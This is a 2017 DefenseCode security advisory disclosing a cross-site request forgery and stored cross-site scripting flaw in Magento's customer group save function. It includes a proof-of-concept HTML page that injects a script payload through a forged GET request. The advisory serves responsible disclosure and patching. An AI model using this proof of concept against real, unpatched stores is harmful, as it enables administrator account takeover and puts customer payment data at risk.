# DefenseCode

## Magento CSRF, Stored Cross Site Scripting

| Magento CSRF, Stored Cross Site Scripting | |
|---|---|
| Advisory ID: | **DC-2017-09-001** |
| Software: | **Magento Commerce, CE** |
| Software Language: | **PHP** |
| Version: | **Magento CE 1 prior to 1.9.3.6, Magento Commerce prior to 1.14.3.6, Magento 2.0 prior to 2.0.16, Magento 2.1 prior to 2.1.9** |
| Vendor Status: | **Vendor contacted / FIXED** |
| Release Date: | **2017/10/04** |
| Risk: | **Medium** |

## 1. General Overview

During the security audit of Magento Community Edition / Open Source and Commerce, a Cross-site Request Forgery and Stored Cross-Site Scripting vulnerabilities were discovered that could lead to administrator account takeover, putting the website customers and their payment information at risk.

## 2. Software Overview

Magento is an ecommerce platform built on open source technology which provides online merchants with a flexible shopping cart system, as well as control over the look, content and functionality of their online store. Magento offers powerful marketing, search engine optimization, and catalog-management tools. It is a leading enterprise-class eCommerce platform, empowering over 200,000 online retailers.

Homepage:
http://www.magento.com

## 3. Vulnerability Description

There is a Cross-Site Request Forgery vulnerability present in Customer Groups when a POST request is changed to GET on saving changes to existing groups (/customer/group/save/). When the request method is switched, the lack of *form_key* parameter which serves as a CSRF token is completely ignored.

Group Name parameter (*code*) is prone to the Stored Cross-Site Scripting vulnerability and the injected JavaScript code will execute on several pages when the customer group is shown (on viewing individual orders, individual customers, etc). An attacker can chain a CSRF attack to redirecting the admin to one of those pages. Malicious code may lead to admin session hijacking (although the admin SID cookie is set to HttpOnly, there are number of ways to retrieve the admin SID on Magento that do not require cookies). Prerequisite to this attack is that "Add Secret Keys to URLs" option is disabled.

Proof of concept CSRF + Stored Cross Site Scripting attack is shown below:

```
Proof of Concept CSRF + Stored XSS attack
<html>
<p>CSRF + Stored XSS PoC</p>
<script>
var req = new XMLHttpRequest();
req.withCredentials = true;
req.onreadystatechange = function() {
    if(req.readyState == XMLHttpRequest.DONE) {
        // /sales/order/view/order_id/1/ also works
        window.location.href = 'http://<REPLACE-WITH-ADMIN-URL>/customer/index/edit/id/1/';
    }
}
req.open("GET", "http://<REPLACE-WITH-ADMIN-
URL>/customer/group/save/?code=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E&tax_class=3&id=1");
req.send();
</script>
</html>
```

## 4. Solution

Vendor fixed the reported security issues and released a new version in September 2017 (https://magento.com/security/patches/magento-2016-and-219-security-update) . All users are strongly advised to update to the latest available version.

## 5. Credits

Discovered by Bosko Stankovic (bosko@defensecode.com).

## 6. Disclosure Timeline

| | |
|---|---|
| 05/05/2017 | **Vendor contacted** |
| 09/14/2017 | **Issue fixed, patch released** |
| 10/04/2017 | **Advisory released** |

## 7. About DefenseCode

DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would.

**Subscribe for free software trial on our website** http://www.defensecode.com

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/